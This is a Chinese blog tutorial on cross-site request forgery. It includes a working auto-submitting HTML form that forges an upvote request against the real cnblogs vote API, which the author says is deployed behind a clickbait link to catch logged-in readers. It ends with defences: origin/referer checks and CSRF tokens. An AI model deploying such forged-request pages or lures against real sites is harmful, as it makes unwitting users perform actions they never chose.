CSRF理解和实战

目录

啥是CSRF攻击

CSRF(Cross-site request forgery)跨站请求伪造,CSRF通过伪装来自受信任用户的请求来利用受信任的网站,也就是说,请求是攻击者伪造了请求,使服务器以为是用户发起的。CSRF通常由以下流程构成:

以下引自(https://juejin.im/post/5bc009996fb9a05d0a055192):

  • 受害者登录a.com,并保留了登录凭证(Cookie)。
  • 攻击者引诱受害者访问了b.com。
  • b.com 向 a.com 发送了一个请求:a.com/act=xx。浏览器会…
  • a.com接收到请求后,对请求进行验证,并确认是受害者的凭证,误以为是受害者自己发送的请求。
  • a.com以受害者的名义执行了act=xx。
  • 攻击完成,攻击者在受害者不知情的情况下,冒充受害者,让a.com执行了自己定义的操作

总结来说,攻击者没有窃取你的登录信息,但是利用你的登录信息,冒充你或者在你不知情的情况下发起了一个请求。这通常也不是你希望的。接下来我们写一个CSRF攻击小例子。

写一个CSRF攻击

假设我是攻击者,我写了一篇博客,然后希望收到更多的赞(这个动机似乎不足以搞个CSRF),但是博文质量不是很高。于是我首先去研究了点👍的API,以及它所需的字段:

url: mvc/vote/VoteBlogPost.aspx

postData

"{\"blogApp\":\"imgss\",\"postId\":9700617,\"voteType\":\"Digg\",\"isAbandoned\":false}"

接下来我写了一个网页,并模拟这个post请求

  <form action="https://www.cnblogs.com/mvc/vote/VoteBlogPost.aspx" method="POST">
      <input type="hidden" name="blogApp" value="imgss" />
      <input type="hidden" name="postId" value="9700617" />
      <input type="hidden" name="voteType" value="Digg" />
      <input type="hidden" name="isAbandoned" value="false" />
  </form>
  <script> document.forms[0].submit(); </script> 

然后部署到服务器上,链接在这里:这里有你想要的小电影,如果你点击了,这时这个页面就会发起一个post请求,由于你可能登录了博客园,post时会带上你的登录cookie信息,从而就会触发csrf攻击,莫名其妙的给这篇文章点了一个赞。

注意:实际点赞(点击右下角的推荐)的触发是基于ajax(xhrHttpRequest)实现的,提交的是json数据。但是在实际测试中发现,这个api也支持表单提交。

json的CSRF攻击似乎有点复杂,如果api不支持跨域,那么ajax请求会因为同源策略的限制而访问失败。

如何避免CSRF攻击

从用户的角度来说,当然是不要点击不明链接了,语言越刺激越要警惕,如果非要满足一下好奇心,可以使用不常用的没什么登录账户的浏览器,或者通过无痕窗口、隐身窗口访问。

从开发人员的角度来说,第一要同源检测,具体而言就是判断请求头里的originrefer字段,origin和refer字段如下所示,可以告诉服务器的请求来源,但是refer却不是强制的。

Origin: https://juejin.im

Referer: https://juejin.im/post/5bc009996fb9a05d0a055192

其次是设置CSRF token

前面讲到CSRF的另一个特征是,攻击者无法直接窃取到用户的信息(Cookie,Header,网站内容等),仅仅是冒用Cookie中的信息。
而CSRF攻击之所以能够成功,是因为服务器误把攻击者发送的请求当成了用户自己的请求。那么我们可以要求所有的用户请求都携带一个CSRF攻击者无法获取到的Token。服务器通过校验请求是否携带正确的Token,来把正常的请求和攻击的请求区分开,也可以防范CSRF的攻击。(https://juejin.im/post/5bc009996fb9a05d0a055192)

这个就不详细讲了,大家可以参考掘金美团技术团队的那篇文章。(完)

参考: